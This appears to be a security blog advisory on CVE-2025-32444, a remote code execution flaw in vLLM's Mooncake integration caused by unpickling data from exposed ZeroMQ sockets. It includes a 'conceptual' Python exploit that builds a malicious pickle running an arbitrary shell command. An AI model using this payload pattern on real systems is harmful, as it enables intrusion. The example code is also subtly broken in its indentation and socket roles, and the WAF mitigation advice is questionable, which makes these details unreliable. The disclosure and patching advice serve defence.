CVE-2025-32444: Remote Code Execution Vulnerability in vLLM Integration with Mooncake

Overview

In this blog post, we will be delving into the details of the critical vulnerability, CVE-2025-32444, which affects vLLM, a high-throughput and memory-efficient inference and serving engine for LLMs. The vulnerability is specifically present in versions starting from 0.6.5 and prior to 0.8.5 that have vLLM integration with mooncake. The vulnerability is severe due to its potential for remote code execution through an unsecured ZeroMQ socket, which can lead to system compromise or data leakage. The importance of understanding this vulnerability lies in its wide impact and high severity, underscoring the critical need for immediate mitigation measures.

Vulnerability Summary

CVE ID: CVE-2025-32444
Severity: Critical (CVSS Score 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Remote Code Execution leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

vLLM with Mooncake Integration | 0.6.5 to 0.8.4

How the Exploit Works

The exploit leverages the pickle-based serialization used over unsecured ZeroMQ sockets in vLLM when integrated with Mooncake. The vulnerable sockets are set to listen on all network interfaces, which increases the likelihood of an attacker reaching the vulnerable ZeroMQ sockets to carry out an attack. An attacker could craft malicious pickle objects, send them to the listening socket, and achieve arbitrary code execution on the targeted system.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited.

import zmq
import pickle
# Malicious payload
class Exploit(object):
def __reduce__(self):
return (exec, ('import os; os.system("YOUR_MALICIOUS_COMMAND")',))
# ZeroMQ Context
context = zmq.Context()
# Define the socket using the "Context"
sock = context.socket(zmq.REP)
sock.bind("tcp://*:5555") # All network interfaces
# Send the payload
sock.send(pickle.dumps(Exploit()))

In this example, the malicious payload is a pickle object that, when unpickled, executes a malicious command. The payload is then sent over a ZeroMQ socket bound to listen on all network interfaces.

Countermeasures

The most effective countermeasure against this vulnerability is to apply the vendor’s patch by updating vLLM to version 0.8.5 or later. In cases where immediate patching is not possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy until the patch can be applied. However, these temporary measures might not completely protect against the vulnerability, making the patch update the most recommended solution.